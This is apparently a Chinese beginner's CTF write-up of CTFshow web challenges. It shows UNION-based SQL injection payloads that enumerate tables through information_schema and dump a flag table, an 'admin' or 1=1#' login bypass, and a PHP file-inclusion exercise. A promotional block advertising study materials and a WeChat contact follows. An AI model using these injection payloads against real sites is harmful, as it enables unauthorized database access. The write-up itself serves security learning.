小白刷题CTF show web方向，泪目

order by 3不会出错，但是order by 4就没有显示了，因此判断共有3列。
ORDER BY 子句中的数字（如 ORDER BY 4）通常表示按照查询结果中的第几个列进行排序，而不是列名。这意味着 ORDER BY 4 将根据查询结果中的第四列进行排序。

3. 使用-1' union select 1,2,3 # 判断回显的位置
发现回显位置是2

4. 1' union select 1,database(),3# 查看数据库名称，发现是web2
5. 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); # 查看数据库中的表，返回有 欢迎你，flag,user，说明一共有两个表，分别是flag和user
6. 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag';#查看列名，发现只有flag
7. 1' union select 1,group_concat(flag),3 from web2.flag;# 显示数据，得到答案了

补充知识：

• group_concat(table_name) 是一个聚合函数，它将返回符合 WHERE 条件的所有表的名称，并用逗号分隔。
• information_schema是一个标准的数据库系统中的元数据信息存储区域，它包含了关于数据库结构的信息，比如数据库、表、列、索引等的信息。
• 万能密码：admin' or 1=1#

web03 利用burp抓包修改为POST

点进题目后，显示<?php include($_GET['url']);?>，需要用到burp抓包。（burp配置笔记）

include()函数用于将指定文件的内容读取并执行。题目是在引导我们利用文件包含漏洞给url传递一个参数

1. 抓包后，右击它，选择“Send to Repeater”。这样，这个请求就会出现在Repeater标签页中。
2. 按照图片进行修改，完成后“go”。会在response中看见ctf_go_go_go这个文件
   
3. 在url后面加上 /ctf_go_go_go，可以下载文件，打开后就是flag了

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

因篇幅有限，仅展示部分资料

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
[外链图片转存中…(img-CSj0HT6O-1712802616124)]